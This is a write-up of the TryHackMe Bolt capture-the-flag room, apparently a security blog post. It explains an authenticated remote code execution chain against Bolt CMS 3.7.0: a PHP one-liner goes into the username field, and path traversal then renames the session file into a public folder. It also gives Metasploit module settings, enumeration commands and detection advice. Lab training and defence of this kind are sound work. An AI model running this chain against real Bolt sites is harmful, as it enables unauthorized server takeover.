TryHackMe Bolt: Complete Walkthrough (RCE on Bolt CMS)

Write-Up of TryHackMe's Bolt machine: enumeration, credential discovery, RCE authenticated to Bolt CMS via session hijacking and privesc to root.
- Posted on 2026-08-10
- Reading time: 4 min
TryHackMe Bolt: Complete Walkthrough #
Room : TryHackMe — Bolt
Bolt is a TryHackMe machine designed for beginners. The educational goal is to understand the complete cycle: enumeration → credential collection → exploitation of a vulnerable CMS → shell → root. All in an authorized environment, for training purposes.
Initial enumeration #
We always start with a port scan:
nmap -sC -sV -oA bolt <IP-TARGET>There are three open doors on the car:
- 22 — SSH (Ubuntu)
- 80 — Apache, default page (no useful information)
- 8000 — Apache, with a CMS installed
Point 80 is a dead end: placeholder page, nothing to list. All the work is focused on point 8000.
If you prefer to automate recurring scans instead of writing the flags manually each time, mynmap
is a bash script that wraps Nmap
with predefined scan profiles (sudo ./mynmap.sh (for scans that require privileges, e.g., SYN scan). Useful for speeding up the initial enumeration on multiple machines, but the underlying concept remains the same: full port scan first, deep-dive on interesting services afterwards.
Collecting information from the web app #
Visiting port 8000 reveals a site with two messages on the homepage (one "IT Department," one "Admin"). Carefully reading them reveals the username and password in clear text—a classic credential exposure error in public content, also very common in real-world environments (intranets, internal memos published by mistake).
The page footer also reveals the name and version of the installed CMS: Bolt CMS 3.7.0.
The Bolt CMS admin console is never in root (/), but under a dedicated path: /bolt/. Using the credentials found in the messages, you can access the dashboard.
Teaching point : Before launching any automated tool, always read the text content of the page. Many CTF machines (and many poorly configured real assets) expose sensitive information simply in the HTML markup or visible text.
Identify the vulnerability #
Using the CMS name and version, search for a known exploit. Two equivalent approaches:
searchsploit boltOr a direct search on Exploit-DB. Two distinct results appear, and it's important not to confuse them:
- a vulnerability of file upload on much older versions (2015) — not applicable here;
- a RCE authenticated, a May 2020 disclosure, which specifically affects the version installed on the target (3.7.0, as well as the entire 3.6.x series). The vulnerability was later also assigned an official CVE (CVE-2025-34086, severity 7.5), confirming that it is a real bug and not just a CTF exercise.
Credit where it is due: the flaw was discovered by Sivanesh Ashok (public disclosure on seclists in July 2020), the first PoC is by r3m0t3nu11, the Metasploit module was written by Erik Wynter.
Teaching point : When you find multiple results for the same product, always check the disclosure date and version range before discarding one.
How the exploit works (concept) #
The attack mechanism on Bolt CMS exploits three linked weaknesses:
- Lack of sanitization on the username field in
/bolt/profile→ an already authenticated user can change it to a PHP one-liner likesystem($_GET['x'])The field has a character limit, so the payload should be kept minimal. - directory traverse in the endpoint
/async/folder/rename, normally used to rename internal CMS files → retrieving session tokens from/async/browse/cache/.sessions, you can rename the session file (which now contains the payload injected into the username) by moving it to a path like../../../public/files/<nome>.php, that is, outside the private folder and into a publicly served one. - Once the session file is reachable via HTTP as
.phpin a public folder, the payload inside it is executed by the server by calling/files/<nome>.php?x=<comando>.
The result: RCE, on this machine, returns a shell already running as root —not the generic "webservice user" you might expect. This is a quirk of how THM configured the container, not the bug itself (in a real-world deployment, RCE typically runs with the permissions of the Bolt process, which might be a non-privileged user).
Why it's important to understand it, not just execute it : It's the same pattern found in dozens of different CVEs—"user-writable file" + "endpoint moves/renames files without validating the path" = code execution. Recognizing the pattern is more useful than remembering the individual CVEs.
Exploit via Metasploit #
Those who prefer the quick approach can use the dedicated Metasploit module. By launching search bolt in msfconsole both of the above exploits appear — the correct one for this case is exploit/unix/webapp/bolt_authenticated_rce. Once loaded with use, the standard parameters must be set:
set RHOSTS <IP-TARGET>
set LHOST <TUO-IP>
set USERNAME <trovato in homepage>
set PASSWORD <trovata in homepage>
runManual exploitation (recommended for real understanding) #
For those who want to see what happens under the Metasploit module, the conceptual steps are:
- Log in to the CMS administration page with the credentials you found.
- In
/bolt/profile, change username by inserting the minimal PHP payload for executing commands via GET parameter. - Retrieving a valid token from the dashboard (required for subsequent requests).
- Request (interceptable and modifiable with a proxy like Burp) to
/async/folder/rename, specifying as “new name” a path that goes out of the sessions folder and ends in the public files folder — the classic path traversal with../../../. - At that point the session file (containing the payload) is reachable via browser under
/files/. - Calling it with the payload parameter results in command execution, and from there a reverse shell.
I'm not reporting the exact payload character by character here: the goal is for you to reconstruct it by understanding the logic (short PHP payload that executes system() on the GET parameter), not for you to copy-paste it.
No privesc: you are already root #
As soon as the shell arrives, a whoami confirm that you are already root —no separate escalation is needed on this machine. The flag is located in /home/flag.txt (not in /root/, a curious detail but irrelevant for practical purposes since you are root and can read everywhere).
It is a design choice typical of “easy” machines: the aim of the room is to internalize the enumeration → exploit search → exploitation flow, without weighing it down with a separate privesc.
That said, in a real engagement (or on a “medium/hard” machine) you can never assume you will end up rooted right away: always check with whoami/id, and if you are not, list with sudo -l, SUID binary search (find / -perm -4000 2>/dev/null) and writable cron jobs.
Detection & Blue Team #
On the defensive side, this type of attack leaves recognizable traces:
- Clear credentials on public pages: identifiable with periodic content-discovery scans and manual review of published content.
- Upload/rename executable files to public folders: a WAF or reverse proxy rule that blocks file writing
.phpin statically served directories (upload folder) it mitigates the entire chain. - Unsanitized input on profile fields: any user field that ends up written to disk (session file, log, cache) should be treated as a potential code injection vector, not just “obvious” fields like search forms.
- Application logs: requests to internal file management endpoints (rename/move) with parameters containing
../they are a clear signal to be alerted to.
Conclusion #
Bolt is a simple machine, but it teaches a real-world pattern: sensitive information accidentally exposed + a chain of web vulnerabilities (stored injection + path traversal) that leads to RCE. It's worth redoing it manually without Metasploit to understand each step of the chain before relying on the automated module.
Sources and further information #
- Official Metasploit Module — Rapid7 VulnDB module technical details
- GitHub Advisory / CVE-2025-34086 — official CVE file with CVSS
- Nmap e metasploit — related articles on Hackita








